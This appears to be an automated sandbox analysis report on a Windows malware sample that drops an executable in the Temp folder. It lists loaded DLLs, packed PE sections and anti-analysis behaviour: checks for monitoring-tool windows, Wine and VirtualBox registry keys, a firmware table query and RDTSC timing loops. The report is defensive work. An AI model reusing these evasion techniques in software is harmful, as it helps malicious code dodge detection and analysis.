Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe "C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe "C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 3049984 > 1048576

Source: file.exe

Static PE information: Raw size of kdyfuqdw is bigger than: 0x100000 < 0x2bd400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Unpacked PE file: 4.2.V5GJ8YFILNHAP99OFNDK6O9IE.exe.d90000.0.unpack :EW;.rsrc:W;.idata :W;aisygwgx:EW;pdrbgaqy:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe.0.dr	Static PE information: real checksum: 0x2c54ab should be: 0x2bcb13
Source: file.exe	Static PE information: real checksum: 0x2f26c9 should be: 0x2eeef2

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: kdyfuqdw
Source: file.exe	Static PE information: section name: efifmjtg
Source: file.exe	Static PE information: section name: .taggant
Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe.0.dr	Static PE information: section name:
Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe.0.dr	Static PE information: section name: .idata
Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe.0.dr	Static PE information: section name: aisygwgx
Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe.0.dr	Static PE information: section name: pdrbgaqy
Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00FE3CBF push ds; retf	0_3_00FE3CC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00FE83BF push ds; retf	0_3_00FE83C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00FE3581 push ecx; ret	0_3_00FE3638
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00D9E8D1 push ecx; mov dword ptr [esp], eax	4_2_00D9EF9F
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00D9E8D1 push edi; mov dword ptr [esp], ebx	4_2_00D9F3F5
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F2E2A4 push eax; mov dword ptr [esp], ecx	4_2_00F2E2B9
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F21C48 push esi; mov dword ptr [esp], 7FF50525h	4_2_00F21C58
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F21C48 push eax; mov dword ptr [esp], esi	4_2_00F21CFD
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F2C0FB push 138D0C39h; mov dword ptr [esp], ecx	4_2_00F2C10F
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F300F9 push esi; mov dword ptr [esp], eax	4_2_00F300FA
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220FF push eax; mov dword ptr [esp], 7618AF40h	4_2_00F22130
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220FF push 5E9ADD27h; mov dword ptr [esp], edi	4_2_00F22165
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220FF push ebx; mov dword ptr [esp], edx	4_2_00F22174
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220FF push 2376F884h; mov dword ptr [esp], edx	4_2_00F2219F
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220FF push 362CE8EEh; mov dword ptr [esp], ecx	4_2_00F22222
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F240E8 push ebp; mov dword ptr [esp], ecx	4_2_00F240F1
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00D9C0C5 push edi; mov dword ptr [esp], eax	4_2_00D9C50A
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00DA10C5 push ebx; mov dword ptr [esp], 7C356DE5h	4_2_00DA28E0
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F2C0D8 push ecx; mov dword ptr [esp], edi	4_2_00F2C644
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220DD push eax; mov dword ptr [esp], 7618AF40h	4_2_00F22130
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220DD push 5E9ADD27h; mov dword ptr [esp], edi	4_2_00F22165
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220DD push ebx; mov dword ptr [esp], edx	4_2_00F22174
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220DD push 2376F884h; mov dword ptr [esp], edx	4_2_00F2219F
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220DD push 362CE8EEh; mov dword ptr [esp], ecx	4_2_00F22222
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00DA10EA push edx; mov dword ptr [esp], 6FFB2D70h	4_2_00DA2C6B
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00D9E8E8 push 3BBEB761h; mov dword ptr [esp], ecx	4_2_00D9E8F5
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220C3 push eax; mov dword ptr [esp], 7618AF40h	4_2_00F22130
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220C3 push 5E9ADD27h; mov dword ptr [esp], edi	4_2_00F22165
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220C3 push ebx; mov dword ptr [esp], edx	4_2_00F22174
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220C3 push 2376F884h; mov dword ptr [esp], edx	4_2_00F2219F
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F220C3 push 362CE8EEh; mov dword ptr [esp], ecx	4_2_00F22222

Source: file.exe	Static PE information: section name: entropy: 7.975695317160436
Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe.0.dr	Static PE information: section name: entropy: 7.776956795829379

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752D2F second address: 752D39 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9E78CDB7A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752025 second address: 75202B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75202B second address: 752033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752033 second address: 75204C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E7960D37Eh 0x00000009 jne 00007F9E7960D376h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75204C second address: 752058 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9E78CDB7AEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7521C9 second address: 7521D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7521D1 second address: 7521E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F9E78CDB7A6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7521E0 second address: 7521E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7521E4 second address: 7521EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752493 second address: 7524A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9E7960D37Ah 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754D9D second address: 754DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754E51 second address: 754EAC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9E7960D376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 mov esi, dword ptr [ebp+122D3C0Bh] 0x00000016 push D5FC2ADBh 0x0000001b jno 00007F9E7960D37Ah 0x00000021 add dword ptr [esp], 2A03D5A5h 0x00000028 mov edi, dword ptr [ebp+122D3953h] 0x0000002e push 00000003h 0x00000030 mov ecx, dword ptr [ebp+122D3BD3h] 0x00000036 push 00000000h 0x00000038 push 00000003h 0x0000003a mov si, E3E2h 0x0000003e call 00007F9E7960D379h 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 push eax 0x00000047 pop eax 0x00000048 jmp 00007F9E7960D37Ah 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754EAC second address: 754F18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9E78CDB7ADh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F9E78CDB7B3h 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b jbe 00007F9E78CDB7A8h 0x00000021 jno 00007F9E78CDB7B8h 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push esi 0x0000002f pushad 0x00000030 popad 0x00000031 pop esi 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754F18 second address: 754F3D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jl 00007F9E7960D376h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov dword ptr [ebp+122D272Eh], ecx 0x00000013 lea ebx, dword ptr [ebp+12459CDDh] 0x00000019 mov ecx, dword ptr [ebp+122D3963h] 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754F3D second address: 754F41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755106 second address: 75510A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75510A second address: 7551B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jns 00007F9E78CDB7C4h 0x0000000e nop 0x0000000f jmp 00007F9E78CDB7AFh 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F9E78CDB7A8h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 call 00007F9E78CDB7A9h 0x00000035 jnc 00007F9E78CDB7B4h 0x0000003b push eax 0x0000003c jns 00007F9E78CDB7B2h 0x00000042 mov eax, dword ptr [esp+04h] 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F9E78CDB7B5h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7551B5 second address: 7551BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7551BB second address: 7551D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jns 00007F9E78CDB7A6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 pushad 0x00000011 jng 00007F9E78CDB7A8h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7551D8 second address: 7551DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7551DC second address: 755247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jg 00007F9E78CDB7B8h 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F9E78CDB7A8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push 00000003h 0x0000002e movsx edi, di 0x00000031 push 00000000h 0x00000033 adc edx, 14266024h 0x00000039 mov si, 78A6h 0x0000003d push 00000003h 0x0000003f or edx, 1C333D46h 0x00000045 movsx edx, di 0x00000048 push F266B44Dh 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 push edi 0x00000051 pop edi 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 755247 second address: 75524B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75524B second address: 75529B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 je 00007F9E78CDB7A6h 0x0000000d pop edi 0x0000000e popad 0x0000000f xor dword ptr [esp], 3266B44Dh 0x00000016 jmp 00007F9E78CDB7ACh 0x0000001b lea ebx, dword ptr [ebp+12459CF1h] 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007F9E78CDB7A8h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b add ecx, dword ptr [ebp+122D2188h] 0x00000041 push eax 0x00000042 push esi 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7745E2 second address: 7745E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7745E8 second address: 7745EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
